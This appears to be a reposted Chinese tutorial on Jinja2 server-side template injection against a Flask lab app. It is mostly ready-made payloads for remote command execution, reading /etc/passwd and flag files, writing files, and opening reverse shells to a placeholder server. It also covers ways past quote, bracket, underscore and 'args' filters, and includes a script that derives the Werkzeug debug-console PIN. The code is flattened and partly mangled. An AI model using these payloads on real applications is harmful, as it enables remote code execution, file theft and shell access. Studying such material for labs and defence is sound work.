本文共 9703 字,大约阅读时间需要 32 分钟。
docker-compose up -d
docker ps
查看搭建的端口:8000from flask import Flask, requestfrom jinja2 import Templateapp = Flask(__name__)@app.route("/")def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render()if __name__ == "__main__": app.run()
jinja2
模板,学习链接name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render()
name={ { 'aaa' | upper}}
{ % for c in [].__class__.__base__.__subclasses__() %}{ % if c.__name__ == 'catch_warnings' %} { % for b in c.__init__.__globals__.values() %} { % if b.__class__ == { }.__class__ %} { % if 'eval' in b.keys() %} { { b['eval']('__import__("os").popen("id").read()') }} { % endif %} { % endif %} { % endfor %}{ % endif %}{ % endfor %}
#文件读取{ { ().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
.__init__
后带wrapper表示没有被重载num = -1search = '__builtins__'for c in ().__class__.__bases__[0].__subclasses__(): num += 1 try: if search in c.__init__.__globals__.keys(): print(c, num) except: pass
- 脚本跑的结果 数字不能用 但是函数是可以用滴! <class ‘_frozen_importlib._ModuleLock’> 80 <class ‘_frozen_importlib._DummyModuleLock’> 81 <class ‘_frozen_importlib._ModuleLockManager’> 82 <class ‘_frozen_importlib.ModuleSpec’> 83 <class ‘_frozen_importlib_external.FileLoader’> 94 <class ‘_frozen_importlib_external._NamespacePath’> 95 <class ‘_frozen_importlib_external._NamespaceLoader’> 96 <class ‘_frozen_importlib_external.FileFinder’> 98 <class ‘zipimport.zipimporter’> 105 <class ‘zipimport._ZipImportResourceReader’> 106 <class ‘codecs.IncrementalEncoder’> 108 <class ‘codecs.IncrementalDecoder’> 109 <class ‘codecs.StreamReaderWriter’> 110 <class ‘codecs.StreamRecoder’> 111 <class ‘os._wrap_close’> 134 <class ‘os._AddedDllDirectory’> 135 <class ‘_sitebuiltins.Quitter’> 136 <class ‘_sitebuiltins._Printer’> 137
__buitins__
就可以利用python的内建函数了{ { ().__class__.__base__.__subclasses__[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}{ % for c in ().__class__.__bases__[0].__subclasses__() %}{ % if c.__name__=="catch_warnings" %}{ { c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{ % endif %}{ % endfor %}
#读取密码''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()#写文件#写文件''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')#OS模块system''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')popen''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()#eval''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")#__import__''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()#反弹shell''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
t = Template("Hello { {n}}")return t.render(n=name)
{ {''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
os._wrap_close
类但是失败了name = request.args.get('name') if name: if re.search(r"2|3",name,re.I): return ':('
?name={ { lipsum.__globals__.__getitem__("os").popen("cat /flag").read()}}?name={ { lipsum.__globals__['os'].popen('ls').read()}}?name={ { x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
- 第一个payload: lipsum是flask框架下的内置函数吧 调用了一下 发现会随机生成文章 __getitem__是python的魔法函数,指定键后返回值 第一个payload与第二个payload差别就在于一个是自己指定了键’os’,一个是利用_getitem_()返回值
- 第三个payload a.__class__也是个类<class ‘jinja2.runtime.Undefined’>
?name={ { a.__class__.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
from flask import Flask from flask import request from flask import render_template_string import re app = Flask(__name__) @app.route('/') def app_index(): name = request.args.get('name') if name: if re.search(r"\'|\"",name,re.I): return ':(' template = ''' {%% block body %%}{%% endblock %%} ''' % (request.args.get('name')) return render_template_string(template) if __name__=="__main__": app.run(host='0.0.0.0',port=80)Hello
%s
?name={ { lipsum.__globals__.__getitem__(request.args.a).popen(request.args.b).read()}}&a=os&b=cat /flag?name={ { lipsum.__globals__.__getitem__(request.args.a).eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()?name={ { x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()
过滤单引号和双引号可以通过request绕过
b=__import__('os').popen('cat ../flag').read(); a=__builtins__
?name={ { lipsum.__globals__.__getitem__(request.args.a).popen(request.args.b).read()}}&a=os&b=cat /flag?name={ { lipsum.__globals__.__getitem__(request.args.a).eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
b=__import__('os').popen('cat ../flag').read(); a=__builtins__
?name={ { (lipsum|attr(request.cookies.c)|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read()}
d=__getitem__; a=os; b=cat /flag; c=__globals__
- 过滤 ‘’ ""可以通过request.args.a绕过
- 过滤args可以通过request.cookies.a绕过
- 过滤[]可以通过__getitem__()绕过
- 过滤_后,__getitem__无法直接调用,用attr绕过
?name={ { (x|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}}
a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()
{ % print((x|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e))%}
Payload:?name={ % print(((lipsum|attr(request.cookies.c))|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read())%}带上Cookie:a=os;b=cat /flag;c=__globals__;d=__getitem__
a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()
- flask所登录的用户名。可以通过读取/etc/password知道
- modname 一般不变就是flask.app
- getattr(app, “name”, app.class.name)。python该值一般为Flask ,值一般不变
- flask库下app.py的绝对路径。在报错信息中可以获取此值为
- 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取,eth0为当前使用的网卡
- docker机器id 对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。 对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id
{ % for c in [].__class__.__base__.__subclasses__() %}{ % if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{ % endif %}{ % endfor %}
{ {''.\__subclass\__()}}
值位/usr/local/lib/python3.7/site-packages/flask/app.py{ % for c in [].__class__.__base__.__subclasses__() %}{ % if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{ % endif %}{ % endfor %}
{ % for c in [].__class__.__base__.__subclasses__() %}{ % if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{ % endif %}{ % endfor %}
import hashlibfrom itertools import chainprobably_public_bits = [ 'root'# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),]private_bits = [ '2485377871334',# str(uuid.getnode()), /sys/class/net/ens33/address '0b24cc4505e46d218654edfe0b570bab59967e457aa89fce9fc9b87c78b5c5ac'# get_machine_id(), /etc/machine-id]h = hashlib.md5()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = numprint(rv)
转载地址:http://tfwmf.baihongyu.com/